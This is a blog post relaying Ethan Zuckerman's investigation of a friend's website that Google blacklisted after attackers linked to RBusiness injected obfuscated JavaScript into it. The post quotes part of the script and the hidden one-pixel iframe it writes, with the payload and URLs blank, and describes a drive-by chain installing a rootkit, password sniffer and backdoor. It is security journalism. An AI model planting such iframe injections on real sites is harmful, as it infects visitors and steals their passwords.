The new malware ecology

Ethan Zuckerman has a fascinating story about how contemporary malware works.

It begins with him Googling a friend to find the URL of her home page, only to find that Google wouldn’t connect him to her site and flashed up the warning “This site may harm your computer”. It transpired that this is the result of the StopBadware campaign run by the folks at the Berkman Center; Google identifies sites that it believes are spreading malware and registers them with Stop Badware. If a site has been blacklisted, its owner has the option of proptesting and having his/her case reviewed by the Berkman people. Ethan duly protested on his friend’s behalf…

Within half an hour, three of my colleages pointed me to the source code of my friend’s page. At the top of her index page was a strange-looking piece of Javascript:

script language=”javascript”> document.write( unescape(
) );

That’s some seriously obfuscated Javascript. But if you translate from hexidecimal to ASCII, the code’s pretty clear – it inserts the following code into the top of the HTML page:

< iframe src= frameborder="0" width="1" height="1" scrolling="no" name=counter>< /iframe>

The code opens an “iframe”, an inline frame which allows another web page to be embedded within a page – iframes are pretty useful things, especially for building interactive applications in web pages. But this frame is pretty sinister. It opens a one pixel by one pixel frame which attempts to load the webpage located at

That page doesn’t load on my browser – the server is apparently refusing connections, at least from my Macintosh – but it occupies an IP in a block of addresses controlled by a charming bunch of guys who do business as RBusiness Network. Google for them and you’ll mostly find lots of angry message board posts from spamfighters – the RBusiness folks operate a number of servers advertised in spam emails and are suspected of relaying large amounts of spam. Many of the RBusiness- associated webpages are in Russian, though their servers are currently in Panama City, Panama – some antispammers believe that RBusiness is short for “Russian Business Network“, which was evidently their previous operating name.

Googling for the specific IP – – turns up a couple of pages with people documenting an interesting exploit – the Microsoft Data Access Components exploit. Basically, when you load this iframe, it runs a small script which downloads and runs a Windows executable file. That file downloads a rootkit, a password sniffer and opens a backdoor into the user’s system. (Needless to say, this only happens on Microsoft Windows systems running unpatched software… which is to say, many Windows systems.) According to Ivan Macalintal, this iframe was installing code from websites that looked fairly innocuous, including one that promised to help you write your company’s travel policy. (Remarkably, this site is the #1 match for a search for “travel policy” on Google, though Google doesn’t let you click directly to the page, stopping you with a “harm your computer” message.)

It’s possible that this is what my friend’s site was trying to install – Ivan’s report dates from October 2006. It’s also possible that it was trying to install a more recent package of malware – – which Avira saw linked to the domain in early January of this year. This little nasty logs passwords entered on webpages, opens a SOCKS proxy on your machine and calls home to an RBusiness server to let the bad guys know how to take advantage of your new machine to send spams and retrieve your passwords.

So had Ethan’s friend got into bed with these Russian hoodlums? Unlikely.

Simply put, [her site] was hacked. Not content with setting up websites to spread their trojan horses, the RBusiness boys have been breaking into blog and wiki sites and installing this new iframe. In some cases, they’re able to guess default passwords; in other cases, they exploit unpatched bugs in software. I was all ready to go to Berkman yesterday with my tail between my legs and tell my colleagues that my friend’s server had been compromised. But my friends were already dealing with the fact that Google had found malicious iframes on a number of Harvard-affiliated sites, including several blogs hosted on the server! Stop Badware, yesterday at least, was stopping Berkman.

Which is deeply ironic, given what the StopBadware initiative was set up to do. But in a way, it only goes to underscore how complex and dangerous our software monoculture has become.